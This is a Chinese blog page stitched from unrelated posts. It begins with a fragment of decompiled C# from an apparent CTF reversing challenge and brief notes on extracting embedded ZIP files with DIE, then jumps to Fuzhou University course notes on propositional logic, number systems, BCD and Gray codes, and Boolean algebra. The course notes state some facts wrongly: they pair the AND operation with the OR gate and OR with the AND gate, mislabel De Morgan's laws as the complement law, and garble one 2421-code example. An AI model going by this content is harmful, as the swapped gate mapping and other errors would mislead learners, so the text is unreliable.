        }));
84
        sp += 3;
85
      }
86
      long[] array2 = s;
87
      array2[2] = await Stop(await Crack(new byte[16]
88
      {
89
        132, 17, 89, 19, 158, 87, 26, 91, 138, 184,
90
        20, 203, 22, 142, 33, 67
91
      }));
92
      array2 = s;
93
      array2[3] = await Stop(await Crack(new byte[16]
94
      {
95
        98, 124, 165, 114, 4, 73, 122, 239, 35, 224,
96
        182, 58, 230, 239, 169, 171
97
      }));
98
      if (rr == 1)
99
      {
100
        s[4] = 1038097261L;
101
      }
102
      else
103
      {
104
        s[4] ^= s[3];
105
      }
106
    }
107
    else
108
    {
109
      sp -= 27;
110
      await Stop(await Crack(new byte[32]
111
      {
112
        181, 158, 168, 62, 5, 218, 108, 22, 225, 44,
113
        69, 4, 169, 112, 225, 186, 212, 234, 186, 217,
114
        245, 102, 219, 46, 107, 236, 2, 37, 80, 8,
115
        162, 183
116
      }));
117
      await Stop(await Crack(new byte[32]
118
      {
119
        71, 166, 143, 191, 134, 170, 65, 147, 11, 69,
120
        123, 125, 140, 156, 32, 225, 68, 85, 198, 59,
121
        6, 58, 62, 75, 142, 62, 22, 169, 7, 21,
122
        26, 177
123
      }));
124
      for (int ii = 0; ii < 4; ii++)
125
      {
126
        await Stop(await Crack(new byte[32]
127
        {
128
          88, 244, 228, 34, 209, 136, 53, 33, 174, 103,
129
          199, 211, 90, 244, 91, 46, 98, 141, 50, 45,
130
          70, 160, 34, 209, 131, 19, 95, 66, 187, 185,
131
          87, 236
132
        }));
133
        await Stop(await Crack(new byte[32]
134
        {
135
          59, 134, 219, 11, 168, 34, 42, 6, 142, 30,
136
          47, 12, 175, 97, 187, 166, 191, 165, 206, 91,
137
          56, 92, 35, 91, 63, 232, 2, 235, 246, 41,
138
          249, 60
139
        }));
140
        await Stop(await Crack(new byte[32]
141
        {
142
          30, 47, 78, 72, 232, 144, 186, 158, 145, 46,
143
          78, 42, 66, 78, 48, 177, 201, 84, 194, 246,
144
          32, 77, 153, 26, 204, 139, 24, 149, 70, 89,
145
          23, 50
146
        }));
147
        await Stop(await Crack(new byte[32]
148
        {
149
          88, 244, 228, 34, 209, 136, 53, 33, 174, 103,
150
          199, 211, 90, 244, 91, 46, 98, 141, 50, 45,
151
          70, 160, 34, 209, 131, 19, 95, 66, 187, 185,
152
          87, 236
153
        }));
154
        await Stop(await Crack(new byte[32]
155
        {
156
          59, 134, 219, 11, 168, 34, 42, 6, 142, 30,
157
          47, 12, 175, 97, 187, 166, 191, 165, 206, 91,
158
          56, 92, 35, 91, 63, 232, 2, 235, 246, 41,
159
          249, 60
160
        }));
161
        await Stop(await Crack(new byte[32]
162
        {
163
          30, 47, 78, 72, 232, 144, 186, 158, 145, 46,
164
          78, 42, 66, 78, 48, 177, 201, 84, 194, 246,
165
          32, 77, 153, 26, 204, 139, 24, 149, 70, 89,
166
          23, 50
167
        }));
168
        await Stop(await Crack(new byte[32]
169
        {
170
          88, 244, 228, 34, 209, 136, 53, 33, 174, 103,
171
          199, 211, 90, 244, 91, 46, 98, 141, 50, 45,
172
          70, 160, 34, 209, 131, 19, 95, 66, 187, 185,
173
          87, 236
174
        }));
175
        await Stop(await Crack(new byte[32]
176
        {
177
          59, 134, 219, 11, 168, 34, 42, 6, 142, 30,
178
          47, 12, 175, 97, 187, 166, 191, 165, 206, 91,
179
          56, 92, 35, 91, 63, 232, 2, 235, 246, 41,
180
          249, 60
181
        }));
182
        await Stop(await Crack(new byte[32]
183
        {
184
          30, 47, 78, 72, 232, 144, 186, 158, 145, 46,
185
          78, 42, 66, 78, 48, 177, 201, 84, 194, 246,
186
          32, 77, 153, 26, 204, 139, 24, 149, 70, 89,
187
          23, 50
188
        }));
189
        await Stop(await Crack(new byte[32]
190
        {
191
          47, 110, 238, 143, 41, 255, 113, 160, 229, 92,
192
          84, 132, 31, 128, 72, 253, 98, 154, 102, 114,
193
          68, 165, 121, 194, 102, 210, 191, 221, 49, 209,
194
          210, 215
195
        }));
196
        await Stop(await Crack(new byte[32]
197
        {
198
          59, 134, 219, 11, 168, 34, 42, 6, 142, 30,
199
          47, 12, 175, 97, 187, 166, 68, 235, 237, 14,
200
          9, 156, 105, 253, 49, 93, 204, 138, 86, 162,
201
          159, 183
202
        }));
203
        await Stop(await Crack(new byte[32]
204
        {
205
          59, 134, 219, 11, 168, 34, 42, 6, 142, 30,
206
          47, 12, 175, 97, 187, 166, 191, 165, 206, 91,
207
          56, 92, 35, 91, 63, 232, 2, 235, 246, 41,
208
          249, 60
209
        }));
210
        await Stop(await Crack(new byte[32]
211
        {
212
          30, 47, 78, 72, 232, 144, 186, 158, 145, 46,
213
          78, 42, 66, 78, 48, 177, 201, 84, 194, 246,
214
          32, 77, 153, 26, 204, 139, 24, 149, 70, 89,
215
          23, 50
216
        }));
217
      }
218
      await Stop(await Crack(new byte[32]
219
      {
220
        164, 53, 148, 8, 250, 208, 160, 70, 126, 59,
221
        160, 104, 222, 18, 194, 130, 172, 224, 232, 3,
222
        9, 43, 214, 128, 13, 213, 251, 91, 231, 216,
223
        221, 212
224
      }));
225
      long[] array2 = s;
226
      long num = s[1];
227
      array2[32] = num ^ await Stop(await Crack(new byte[16]
228
      {
229
        132, 17, 89, 19, 158, 87, 26, 91, 138, 184,
230
        20, 203, 22, 142, 33, 67
231
      }));
232
      array2 = s;
233
      num = s[2];
234
      array2[33] = num ^ await Stop(await Crack(new byte[16]
235
      {
236
        98, 124, 165, 114, 4, 73, 122, 239, 35, 224,
237
        182, 58, 230, 239, 169, 171
238
      }));
239
      array2 = s;
240
      num = s[3];
241
      array2[34] = num ^ await Stop(await Crack(new byte[16]
242
      {
243
        41, 105, 145, 250, 243, 41, 66, 60, 57, 250,
244
        209, 67, 192, 42, 111, 95
245
      }));
246
      array2 = s;
247
      num = s[4];
248
      array2[35] = num ^ await Stop(await Crack(new byte[16]
249
      {
250
        46, 125, 65, 197, 84, 64, 181, 17, 52, 236,
251
        114, 213, 42, 180, 217, 142
252
      }));
253
    }
254
    if (rr == 22)
255
    {
256
      await blient.GetStream().WriteAsync(new byte[15]
257
      {
258
        0, 0, 0, 15, 0, 0, 0, 1, 0, 1,
259
        10, 0, 0, 0, 0
260
      }, default(CancellationToken));
261
      p.Kill();
262
      _ = new byte[16];
263
      for (int num2 = 0; num2 < 4; num2++)
264
      {
265
        byte[] bytes = BitConverter.GetBytes((uint)s[32 + num2]);
266
        Array.Reverse(bytes);
267
        Console.Write(BitConverter.ToString(bytes).Replace("-", ""));
268
      }
269
      Environment.Exit(0);
270
    }
271
    await Breck();
272
    await client.GetStream().WriteAsync(BitConverter.GetBytes(0), default(CancellationToken));
273
    while (await Hack())
274
    {
275
    }
276
    bool flag = true;
277
    while (flag)
278
    {
279
      flag = await Horror();
280
    }
281
    rr++;
282
  }
283
}

展开收起

很明显，要部署 Docker，环境里至少还需要一个 python 脚本，Where is it?

DIE 已经有提示：

此处 DIE 识别不完全正确。识别为 JAR 的实际依然是 ZIP。

DIE 内置的提取器，选择 Binary 模式，“扫描”并“转储全部”：

改 jar 后缀为 zip，解压体积最大的那个 zip（polyencrypt.dll.9200_2b8c.zip），得到完整文件：

Terminal window

1
d----          2025/10/25    22:09                META-INF
2
-a---            2024/5/6     4:18            338 Curse.class
3
-a---            2024/5/6     4:18           2048 Curse.dll
4
-a---            2024/5/6     4:18            736 Hack.class
5
-a---           2024/5/11    16:53          48524 polyencrypt.dll
6
-a---           2024/5/11    16:53            242 polyencrypt.runtimeconfig.json
7
-a---            2024/5/6     4:18           1337 remote_pdb_LICENSE.txt
8
-a---            2024/5/6     4:18           3985 remote_pdb.py
9
-a---          2025/10/10    22:55             69 run.sh
10
-a---            2024/5/6     4:18           8823 Saw.class
11
-a---            2024/5/6     4:18           5025 saw.py

2025福州大学离散数学笔记

Tue, 09 Sep 2025 21:06:00 GMT

数理逻辑#

命题#

非真即假的封闭陈述句就是命题 (proposition)。一个命题的真值 (truth value) 表示命题的真假情况，本课程定义 1 为真，0 为假。

一个无法被分解的命题称为简单命题或原子命题 (atomic proposition)，简单命题通过联结词 (logical connectives) 联结得到复合命题 (compound propositions)

命题的判断

一个命题需要满足以下两个条件：1）是陈述句；2）非真即假，即仅有唯一真值。条件 1）比较好达成，但要注意数学表达式（如 1<21 < 21<2）也是一种陈述句。条件 2）可能就有点难了。我们只看它能否理论上判断有唯一真值，不需要确定它是真是假。例如“我喝了 114514 杯红茶”，我们现在可能无法确定到底是高手在民间还是吹牛批，但它有唯一真值！而 x+1>2x + 1 > 2x+1>2 就不是一个命题，因为它有时真有时假。而“这句话是假的”同样不是一个命题，因为它同时是真和假。和 ChatGPT 交流后发现，命题还有一个特征：陈述的主语必须无歧义。换句话说，主语不能是指代模糊的 xxx、“He” 等。如果你需要上下文、需要自圆其说，那么他就不是一个命题。例如“它是整数”，谁是整数？它是 1，是“笔记本”，还是“福州大学”？我们无法判断。这个特征需要灵活运用，因为在一些语境下，可能默认代词有指称。

直到现在我们讲的还是简单命题。对于复合语句呢？我们只需要其分解为简单陈述句，然后分别判断即可。只有所有简单陈述句都是命题，复合语句才是命题。例如“如果明天不下雨，我们就去公园”，这句话可以分为“明天下雨”和“我们去公园”，这两个都是命题，所以一整句话也是一个命题。

语句是否为命题，和语句的语意合理情况无关。例如“北京是首都当且仅当 2 + 2 = 4”，虽然荒谬但确实是命题。

我们习惯上用字母 ppp, qqq, rrr, sss, …来表示命题变量 (propositional variables)，即表示命题的变量。

我们有 5 个联结词：

否定 (Negation)#

令 ppp 为一命题，则 ppp 的否定记作 ¬p\neg p¬p ，指“不是 ppp 所指的情形”，ppp 的否定与 ppp 的真值相反。(NOT)

否定运算符的记号并没有统一的标准，只是” ¬\neg¬ “比较常用而已

Warning

抽取简单命题时，不可抽取否定语句。例如上面的“如果明天不下雨”，抽取的就是“明天下雨”而不是“明天不下雨”。

命题的否定也可以看作否定运算符 (negation operator) 作用在命题上的结果。

合取 (Conjunction)#

令 ppp, qqq 为命题，ppp, qqq 的合取即命题“ppp 并且 qqq”，记作“p∧qp\land qp∧q”，当 ppp, qqq 皆为真命题时，p∧qp\land qp∧q 为真，否则为假。(AND)

如果一个命题为假，那么整个合取式固定为假；如果一个命题为真，那么整个合取式的真值取决于另一个命题。

析取 (Disjunction)#

令 ppp, qqq 为命题，ppp, qqq 的析取即命题“ppp 或 qqq”，记作“p∨qp\lor qp∨q”，当 ppp, qqq 皆为假命题时，p∨qp \lor qp∨q 为假,否则为真。(OR)

如果一个命题为真，那么整个析取式固定为真；如果一个命题为假，那么整个析取式的真值取决于另一个命题。

异或 (Exclusive or)#

令 ppp, qqq 为命题，ppp, qqq 的异或（记作 p⊕qp\oplus qp⊕q）是这样的一个命题：当 ppp, qqq 中恰好有一个为真时命题为真，否则为假。

换句话说，命题 ppp, qqq 的真值相同则为假 (0) ，真值不同则为真 (1)。

ppp	qqq	p⊕qp\oplus qp⊕q
T	T	F
T	F	T
F	T	T
F	F	F

联想到异或运算，其实是同一个概念，二进制位相同则为 0，二进制位不同则为 1。

和析取相比，异或排除了 ppp、qqq 同时成立的情况，因此也称“排斥或”。与之相对的，“析取”也称“相容或”

蕴涵 (Implication)#

或称条件语句 (Conditional Statement)。

令 ppp, qqq 为命题，蕴含 p→qp\rightarrow qp→q 是命题“如果 ppp，则 qqq”，当 ppp 为真而 qqq 为假时，条件语句 p→qp\rightarrow qp→q 为假，否则为真。在蕴涵中，ppp 称为假设（hypothesis，或前件 antecedent，前提 premise），qqq 称为结论（conclusion，或后件 consequence）。

ppp	qqq	p→qp\rightarrow qp→q
T	T	T
T	F	F
F	T	T
F	F	T

Note

为什么 ppp 为假时，qqq 不论真假，命题一定为真？如果 qqq 为假，不必多说，确实符合这个命题。如果 qqq 为真，命题没有规定 ppp 为假的情况，并且仍然在一定程度上符合命题。因此，如果 ppp 为假，我们不需要使用 p→qp\rightarrow qp→q。既然我们不会使用它，我们可以将其真值定义为任何我们喜欢的东西，但也要符合其他的联结词。

蕴含式中 ppp 和 qqq 的顺序很重要。如果交换 ppp 和 qqq，会产生一个不同的命题。

常用的自然语言描述：

只要 ppp，就 qqq
因为 ppp，才 qqq
ppp 仅当 qqq
只有 qqq 才 ppp
除非 qqq 才 ppp
除非 qqq，否则非 ppp（¬q→¬p\neg q \rightarrow \neg p¬q→¬p，假言易位）

等价 (Biconditional)#

如果 p→qp\rightarrow qp→q 且 q→pq\rightarrow pq→p，则称 ppp 和 qqq 等价，即 p↔qp\leftrightarrow qp↔q，也叫双条件。等价式中的两个命题可以交换。

命题公式#

2025福州大学数字逻辑笔记

Mon, 08 Sep 2025 15:06:34 GMT

破防了QAQ

（永恒的经典：【考试周破防】4K高清重制版）

沃日，90 分满绩，翁老师我爱你 😚

教学内容与考核标准#

内容：基本知识、逻辑运算、逻辑函数化简、逻辑门电路、组合逻辑电路、触发器、时序逻辑电路、中规模逻辑电路

理论 40 学时 + 实验 36 学时

考核方式：雨课堂考勤 + 课程中心作业 + 期末考试

期末考试题目分布

单选题 1 * 10 = 10 分
填空题 2 * 10 = 20 分
化简题 3 * 5 = 15 分
分析题 3 题 25 分
设计题 3 题 30 分

数制#

常用数制：十进制 (Decimal)、二进制 (Binary)、十六进制 (Hexadecimal)、八进制 (Octal)

数字的表示法：

(N)R=(KnKn−1...K1K0.K−1K−2...)R=Kn×Rn+Kn−1×Rn−1+...+K1×R1+K0×R0+K−1×R−1+K−2×R−2+...(N)_R = (K_nK_{n-1}...K_{1}K_{0}.K_{-1}K_{-2}...)_R = K_n × R^{n} + K_{n-1} × R^{n-1} + ... + K_{1} × R^{1} + K_{0} × R^{0} + K_{-1} × R^{-1} + K{-2} × R{-2} + ...(N)R=(KnKn−1...K1K0.K−1K−2...)R=Kn×Rn+Kn−1×Rn−1+...+K1×R1+K0×R0+K−1×R−1+K−2×R−2+...

第二个等号后面的表示法称为“按权展开法”。注意十六进制数的按权展开需要将字母换成对应的十进制数

数制转换#

按权展开法会将数字转换成十进制的，因此其他进制转十进制非常简单。下面介绍其他进制转换。

Warning

本部分在考试中仅作选择或填空题。选择自己可以熟练掌握的技巧，不需要考虑方法是否学过。

Tip

一些计算器不支持小数的进制转换，你可能需要在线寻找，例如二进制转换或 BINARY2HEX；或者使用更高级的计算器，如 Qalculate!

1. 十进制转二进制#

正规方法：整数除 2 取余；小数乘 2 取整。

Tip

除 2 取余，除到商为 0 为止乘 2 取整，乘到积为 1 或精度的后一位为止。期间，如果整数部分有进位，舍去进位。当得到精度的后一位（如要求 4 位小数，则进行 5 次乘法）时，如果整数部分为 0，则不进位；如果整数部分为 1，则进位。

其他方法：按位展开，逐次递减

Tip

由于其他进制转十进制很容易，因此如果想降低知识点负担，对于其他进制转二进制，只需要先转成十进制，然后再转成二进制即可。

2. 二进制转八进制#

整数从右到左、小数从左到右，将数字按三位三位划分（三位二进制数最多表示到 7），不足三位的用 0 补齐。然后分别计算三位数字对应的八进制数，连接起来即可。

(11100101.01)2=(011)2(100)2(101)2.(010)2=(3)8(4)8(5)8.(2)8=(345.2)8(11100101.01)_2 = (011)_2(100)_2(101)_2.(010)_2=(3)_{8}(4)_{8}(5)_{8}.(2)_{8}=(345.2)_8(11100101.01)2=(011)2(100)2(101)2.(010)2=(3)8(4)8(5)8.(2)8=(345.2)8

八转二是逆过程，每一个八进制数用三位二进制数表示即可。

3. 二进制转十六进制#

整数从右到左、小数从左到右，将数字按四位四位划分（四位二进制数最多表示到 F，即 15），不足四位的用 0 补齐。然后分别计算四位数字对应的十六进制数，连接起来即可。

(11100101.01)2=(1110)2(0101)2.(0100)2=(E)16(5)16.(8)16=(E5.8)16(11100101.01)_2 = (1110)_2(0101)_2.(0100)_2=(\text{E})_{16}(5)_{16}.(8)_{16} = (\text{E}5.8)_{16}(11100101.01)2=(1110)2(0101)2.(0100)2=(E)16(5)16.(8)16=(E5.8)16

十六转二是逆过程，每一个十六进制数用四位二进制数表示即可。

有符号数表达#

对于有符号数，数字的最高位（最左端）是符号位，用“0”表示正数，用“1”表示负数。符号位之后的位才表示数值。例如 01010=+1010=+1001010 = +1010 = +1001010=+1010=+10

Warning

符号位只有一位，如果计算时发现符号位出现进位现象，舍弃进位。

通常将用“+”、“-”表示正、负的二进制数称为符号数的真值，而把将符号和数值一起编码表示的二进制数称为机器数或机器码。

1. 原码#

数值位和无符号数一样，再加上符号位，就得到了原码。整数的符号位加在数值位最高位的左端，小数的符号位在整数部分上。

如 +1101+1101+1101 的原码是 011010110101101，−1101-1101−1101 的原码是 111011110111101；+0.1011+0.1011+0.1011 的原码是 0.10110.10110.1011，−0.1011-0.1011−0.1011 的原码是 1.10111.10111.1011。

原码虽然表示简单，但计算较为不便。例如，9+(−3)=69+(-3) = 69+(−3)=6，但在原码表示中，9+(−3)=(01001)2+(10011)2=(11100)2=−129+(-3)=(01001)_2+(10011)_2=(11100)_2=-129+(−3)=(01001)2+(10011)2=(11100)2=−12，很明显是错误的！

2. 反码#

相比原码，正数反码不变，而负数反码的数值位按位取反。如 +1101+1101+1101 的反码是 011010110101101，而 −1101-1101−1101 的反码是 100101001010010。

反码是解决原码带来的计算问题的一个过渡方案。这句话的意思是：它仍然有问题。比如反码仍然算不对上面的 9+(−3)9+(-3)9+(−3)。

原码和反码还会多出来一个“正负 0”问题：“正 0” 表示为 0000 00000000\ 00000000 0000，而“负 0” 表示为 1000 00001000\ 00001000 0000

3. 补码#

相比原码，正数补码不变，而负数补码的数值位按位取反后还要对最低位加 1。如 −1101-1101−1101 的补码是 1(0010+1)=100111(0010+1)=100111(0010+1)=10011，−0.1101-0.1101−0.1101 的补码是 1.(0010+1)=1.00111.(0010+1)=1.00111.(0010+1)=1.0011

Note

也可以这么看：对于负数，数值位从右到左（即最低位）数直到遇到第一个 1，这些位不变，之后的位取反，即 −1101=1(110)反1=10011-1101=1(110)_{\text{反}}1=10011−1101=1(110)反1=10011，−10110=1(101)反10=101010-10110=1(101)_{\text{反}}10=101010−10110=1(101)反10=101010

补码解决了原码和反码的计算问题，这次就算对了 9+(−3)9+(-3)9+(−3) 。

补码也解决了“正负 0”问题：对于 8 位二进制数，“负 0”的补码仍然是 0000 00000000\ 00000000 0000，因为第 9 位因溢出而舍弃。

计算机中的运算均采用补码形式。

码制#

如果说数制表示数字，那么码制就表示信息。

BCD 码#

BCD 码全称二-十进制 (Binary Coded Decimal) 码，通过四位二进制数对一位十进制数编码以传递信息。例如，对于十进制的 121212，我们不是直接转换成 110011001100，而是对 111 和 222 分别进行 BCD 编码。

Note

由于一位十进制数仅由 0 ~ 9 表示，但四位二进制数可以表示 24=162^4=1624=16 个十进制数，于是每种 BCD 码仅取出其中 10 种作为有效编码，其余 6 种是无效编码（称为“冗余码”）。

BCD 码有何好处？首先是转换方便。计算机只需要每四位二进制数按照映射表转换成一位十进制数，然后拼接即可得到完整的十进制数字，这比整体按权展开要容易得多。

其次，由于 BCD 按位编码，所以它可以精确表示十进制小数。如 0.10.10.1 在一种 BCD 码下表示为 0000.00010000.00010000.0001，但如果乘 2 取整就会得到一个无限循环小数 0.000110011001100...0.000110011001100...0.000110011001100...，计算机无法精确表示一个具有无限位的数，于是会出现精度问题。

本课主要学习 8421 码和余 3 码，2421 码仅作了解

1. 8421 码#

8421 码是最常用的一种有权码。8421 码到十进制的转换和普通二进制数相同（按权展开），它们表示出来的 0 ~ 9 也完全相同。注意，1010 ~ 1111 是冗余码。

Tip

8421 码表示的二进制数字和其对应十进制数字字符的 ASCII 码的低四位相同，因此使用 8421 码可以简化 BCD 码与对应 ASCII 码的转换。

8421 码按位编码，如：

(258)10=(0010 0101 1000)8421码(258)_{10}=(0010\ 0101\ 1000)_{\text{8421码}}(258)10=(0010 0101 1000)8421码(0001 0001 0100 0101)8421=(1145)10(0001\ 0001\ 0100\ 0101)_{\text{8421}}=(1145)_{10}(0001 0001 0100 0101)8421=(1145)10

8421 码之间的计算：如果某一位的和 ≤ 9，且没有产生进位，无需调整；如果某一位的和 > 9，或者产生了进位（虽然和 ≤ 9但向高位进了一位），则必须进行加 6 调整（即加上 011001100110）。和之后的余 3 码相比，8421 码的调整规则就多了一点。

17+18=0001 0111+0001 1000=0010 1111(进位+低四位和 > 9,需要调整)17+18=0001\ 0111+0001\ 1000=0010\ 1111\text{(进位+低四位和 > 9,需要调整)}17+18=0001 0111+0001 1000=0010 1111(进位+低四位和 > 9,需要调整)调整：0010 1111+0000 0110=(0011 0101)8421码=35\text{调整：}0010\ 1111+ 0000\ 0110=(0011\ 0101)_{\text{8421码}}=35调整：0010 1111+0000 0110=(0011 0101)8421码=35

2. 2421 码#

2421 码也是一种有权码，它的权是2、4、2、1。0101 ~ 1010 是冗余码。

2421 码是一种对 9 的自补代码，可以给运算带来方便。对 9 自补意味着一个数的 2421 码只要自身按位取反，便可以得到该数对 9 的补数的 2421 码。

(258)10=(0010 1011 1110)2421码(258)_{10}=(0010\ 1011\ 1110)_{\text{2421码}}(258)10=(0010 1011 1110)2421码(0001 0001 0100 1011)2421码=(1145)2421码(0001\ 0001\ 0100\ 1011)_{\text{2421码}}=(1145)_{\text{2421码}}(0001 0001 0100 1011)2421码=(1145)2421码(4)10=(0100)2421码→按位取反(1011)2421 码=(5)10(4)_{10}=(0100)_{\text{2421码}}\xrightarrow{\text{按位取反}}(1011)_{\text{2421 码}}=(5)_{10}(4)10=(0100)2421码按位取反(1011)2421 码=(5)10

3. 余 3 码#

余 3 码是 8421 码加上 0011 形成的一种无权码，因其比 8421 码多 3 而得名，如 (5)10=(0101)8421码+(0011)2=(1000)余3码(5)_{10} = (0101)_{\text{8421码}}+(0011)_{2}=(1000)_{\text{余3码}}(5)10=(0101)8421码+(0011)2=(1000)余3码。0000、0001、0010、1101、1110、1111 是冗余码。

余 3 码同样是一种对 9 的自补代码。两个余 3 码相加的运算规则是：如果有进位，结果每四位加 3；如果没有进位，结果每四位减 3。注意将结果转换回十进制时使用的是余 3 码。

余 3 码同样按位编码。

(256)10=((0010)8421+(0011)2 (0101)8421+(0011)2 (0110)8421+(0011)2)余3码=(0101 1000 1001)余3码(256)_{10}=((0010)_{8421}+(0011)_2\ \ (0101)_{8421}+(0011)_{2}\ \ (0110)_{8421}+(0011)_{2})_{\text{余3码}}=(0101\ 1000\ 1001)_{\text{余3码}}(256)10=((0010)8421+(0011)2 (0101)8421+(0011)2 (0110)8421+(0011)2)余3码=(0101 1000 1001)余3码(1000 1001 1001 1011)余3码=(5668)10(1000\ 1001\ 1001\ 1011)_{\text{余3码}}=(5668)_{10}(1000 1001 1001 1011)余3码=(5668)10

计算：

13+67=0100 0110+1001 1010=1110 0000(进位，需要调整)13+67=0100\ 0110+1001\ 1010=1110\ 0000\text{(进位，需要调整)}13+67=0100 0110+1001 1010=1110 0000(进位，需要调整)调整：1110 0000+0011 0011=(1011 0011)余3码=80\text{调整：}1110\ 0000 + 0011\ 0011 = (1011\ 0011)_{\text{余3码}} = 80调整：1110 0000+0011 0011=(1011 0011)余3码=80

几种 BCD 码的映射表：

十进制数字	8421 码	2421 码	余3码
0	`0000`	`0000`	`0011`
1	`0001`	`0001`	`0100`
2	`0010`	`0010`	`0101`
3	`0011`	`0011`	`0110`
4	`0100`	`0100`	`0111`
5	`0101`	`1011`	`1000`
6	`0110`	`1100`	`1001`
7	`0111`	`1101`	`1010`
8	`1000`	`1110`	`1011`
9	`1001`	`1111`	`1100`
无效码	`1010` - `1111`	`0101` - `1010`	`0000` - `0010` 和 `1101` - `1111`

可靠性编码#

用于校验/纠错，提高信息传输的可靠性。

从 BCD 码转到可靠性编码，中间需要先转到二进制码。例如 (01001000)8421码=(110000)2=(101000)格雷码(01001000)_{\text{8421码}}=(110000)_{2}=(101000)_{\text{格雷码}}(01001000)8421码=(110000)2=(101000)格雷码

由于 8421 码的低四位和二进制码相同，因此在转换小等于 4 位的 8421 码时，可以直接转换成格雷码

格雷码#

格雷码的特点：任意两个相邻的数，其格雷码仅有一位不同。可以有效避免多位跳变，提高系统可靠性。

二进制码转格雷码：

设二进制码为 B=Bn−1Bn−2…Bi+1Bi…B1B0，对应格雷码为G=Gn−1Gn−2…Gi+1Gi…G1G0\text{设二进制码为}\ B = B_{n-1}B_{n-2} … B_{i+1}B_i … B_1B_0\text{，对应格雷码为} G = G_{n-1}G_{n-2} … G_{i+1}G_i … G_1G_0设二进制码为 B=Bn−1Bn−2…Bi+1Bi…B1B0，对应格雷码为G=Gn−1Gn−2…Gi+1Gi…G1G0

有：

Gn−1=Bn−1（最高位相同）G_{n-1} = B_{n-1}\text{（最高位相同）}Gn−1=Bn−1（最高位相同）Gi=Bi+1⊕Bi（其他位为高位二进制与当前位异或）G_i = B_{i+1} ⊕ B_i\text{（其他位为高位二进制与当前位异或）}Gi=Bi+1⊕Bi（其他位为高位二进制与当前位异或）

格雷码转二进制码：

逆向计算。二进制码的最高位（最左边）与格雷码的最高位相同。将产生的每一位二进制码，与下一位相邻的格雷码异或（舍去进位），作为二进制码的下一位。

即：

Bn−1=Gn−1（最高位相同）B_{n-1} = G_{n-1}\text{（最高位相同）}Bn−1=Gn−1（最高位相同）Bi=Bi+1⊕GiB_{i} = B_{i+1} ⊕ G_{i}Bi=Bi+1⊕Gi

每位 BiB_{i}Bi 最终可以全部用格雷码表示。

奇偶校验码#

奇偶校验码仅校验，不纠错（因为无法判断出错位置），只能检测奇数个 bit 错误。

奇校验

如果给定一组数据位中 1 的个数是奇数，补一个 bit（0 或 1）在最右方，使得总的 1 的个数是奇数。例：0000001, 补一个 bit 为 0, 得到 00000010。校验时，对接收数据（含校验位）逐位相加，对 2 取余。如果余数为 1，则奇校验通过。
偶校验

如果一组给定数据位中 1 的个数是奇数，补一个 bit（0 或 1）在最右方，使得总的 1 的个数是偶数。例：0000001, 补一个 bit 为 1, 得到 00000011。校验时，对接收数据（含校验位）逐位相加，对 2 取余。如果余数为 0，则偶校验通过。

异或的“不进位加法”性质和此校验方法相似。

Note

实际上，在数学中，一个二进制数的奇偶性只需要看它的最低位即可。如果最低位为 1，则为奇数；为 0，则为偶数。

reference: 奇偶校验位

逻辑代数基础#

逻辑代数是逻辑电路的数学表达。

代数系统概述#

逻辑变量以大写字母表示。逻辑变量的取值只有“0”和“1”两种可能

三大基本逻辑运算：

与 (AND)
- F=A⋅BF = A\cdot BF=A⋅B
- 对应逻辑电路中的“或门”
或 (OR)
- F=A+BF = A+BF=A+B
- 对应逻辑电路中的“与门”
非 (NOT)
- F=A‾F = \overline{A}F=A
- 对应逻辑电路中的“非门”/“反相器”

在一个表达式中，如果既有与运算又有或运算，则按先与后或的规则进行运算。

Note

“与”也称“逻辑乘”，只要有一个变量为假 (0)，那么运算结果也为假，和一般乘法相同 “或”也称“逻辑加”，只要有一个变量为真 (1)，那么运算结果也为真，和一般加法相似

五大公理：

交换律
结合律
分配律

A+(B⋅C)=(A+B)⋅(A+C)A+(B\cdot C) = (A+B)\cdot (A+C)A+(B⋅C)=(A+B)⋅(A+C)
A⋅(B+C)=A⋅B+A⋅CA\cdot (B+C) = A\cdot B + A\cdot CA⋅(B+C)=A⋅B+A⋅C

0-1 律

A+0=AA + 0=AA+0=A，A⋅0=0A\cdot 0 = 0A⋅0=0
A+1=1A + 1 = 1A+1=1，A⋅1=AA\cdot 1 = AA⋅1=A

互补律

A+A‾=1A + \overline{A} = 1A+A=1，A⋅A‾=0A\cdot \overline{A}=0A⋅A=0
A‾\overline{A}A 唯一存在

三种基本逻辑运算可以描述各种逻辑关系，对这些关系使用数学描述，即可得到逻辑函数。

F=f(A1,A2,...,An)F=f{(A_1,A_2,...,A_n)}F=f(A1,A2,...,An)

逻辑函数的取值同样是“0”或“1”。如果对应于逻辑变量 A1,A2,...,AnA_1,A_2,...,A_nA1,A2,...,An 的任意一组取值，逻辑函数 F1F_1F1 和 F2F_2F2 的取值均相等，则 F1=F2F_1 = F_2F1=F2。

表示逻辑函数的方法，除了上面给出的逻辑表达式之外，还有真值表和卡诺图两种。

基本定理#

由五大公理可推出八大定理：

0-1 律
重叠律（你，莫的选择）

A+A=AA+A=AA+A=A，A⋅A=AA\cdot A =AA⋅A=A

吸收律

A+A⋅B=AA+A\cdot B=AA+A⋅B=A，A⋅(A+B)=AA\cdot (A+B)=AA⋅(A+B)=A

消除律

A+A‾⋅B=A+BA+\overline{A}\cdot B = A + BA+A⋅B=A+B，A⋅(A‾+B)=A⋅BA\cdot (\overline{A}+B)=A\cdot BA⋅(A+B)=A⋅B

对合律（双重否定表肯定）

A‾‾=A\overline{\overline{A}}=AA=A

互补律

A+B‾=A‾⋅B‾\overline{A+B}=\overline{A}\cdot \overline{B}A+B=A⋅B，A⋅B‾=A‾+B‾\overline{A\cdot B} = \overline{A} + \overline{B}A⋅B=A+B

并项律

A⋅B+A⋅B‾=AA\cdot B+A\cdot \overline{B} = AA⋅B+A⋅B=A，(A+B)⋅(A+B‾)=A(A+B)\cdot (A+\overline{B})=A(A+B)⋅(A+B)=A

包含律

A⋅B+A‾⋅C+B⋅C=A⋅B+A‾⋅CA\cdot B+\overline{A}\cdot C+B\cdot C=A\cdot B+\overline{A}\cdot CA⋅B+A⋅C+B⋅C=A⋅B+A⋅C
(A+B)⋅(A‾+C)⋅(B+C)=(A+B)⋅(A‾+C)(A+B)\cdot (\overline{A}+C)\cdot (B+C)=(A+B)\cdot (\overline{A}+C)(A+B)⋅(A+C)⋅(B+C)=(A+B)⋅(A+C)

重要规则#

三个重要规则：

代入规则

A(B+C)=AB+ACA(B+C)=AB+ACA(B+C)=AB+AC，令 C=C+DC=C+DC=C+D，则 A[B+(C+D)]=AB+A(C+D)A[B+(C+D)]=AB+A(C+D)A[B+(C+D)]=AB+A(C+D)

反演规则（德·摩根定理）

